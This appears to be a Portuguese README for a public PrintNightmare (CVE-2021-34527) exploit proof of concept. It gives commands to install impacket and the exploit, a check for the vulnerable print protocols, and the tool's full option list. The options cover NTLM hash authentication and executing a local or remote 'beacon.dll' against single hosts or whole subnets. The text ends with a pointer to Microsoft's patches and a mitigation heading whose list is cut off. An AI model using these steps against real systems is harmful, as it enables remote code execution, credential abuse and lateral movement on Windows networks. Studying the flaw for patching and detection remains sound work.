
Exploit PoC do PrintNightmare (CVE-2021-34527)
Esta versão do exploit PrintNightmare é baseada no código criado por Cube0x0, com os seguintes recursos:
MS-RPRN e MS-PAR (definidos nos argumentos do CMD).Antes de executar, instale a versão mais recente do impacket:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
O rpcdump.py do Impacket pode ser usado para verificar os protocolos MS-PAR e MS-RPRN:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Alternativamente, pode-se usar o scanner ItWasAllADream de byt3bl33d3r para escanear alvos e validar a vulnerabilidade RCE do PrintNightmare.

-v VERBOSE Enable verbose logging from SMB server
-t TIMEOUT Connection timeout
Authentication:
-u USERNAME Set username
-H HASH, -hashes Use NTLM Hash for authentication
-p PASSWORD Set password
-d DOMAIN Set domain
--local-auth Authenticate to target host, no domain
DLL Execution:
-dll DLL Path to local DLL file to execute "beacon.dll"
--remote-dll REMOTE_DLL Remote dll "\\192.168.1.25\Share\beacon.dll"
-share SHARE Set local SMB share name
--local-ip LOCAL_IP Set local IP (defaults to primary interface)
Target(s):
-pDriverPath PDRIVERPATH Define Driver path. Example 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] Destination port to connect to SMB Server
-proto {MS-RPRN,MS-PAR} Target protocol (Default=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24 (positional)
A Microsoft lançou vários patches para o PrintNightmare, o mais recente na Patch Tuesday de setembro de 2021. Isso corrigiu a vulnerabilidade subjacente e as soluções alternativas descobertas posteriormente. Para mais informações, visite a orientação oficial da Microsoft:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Estratégias adicionais para mitigar esta vulnerabilidade incluem: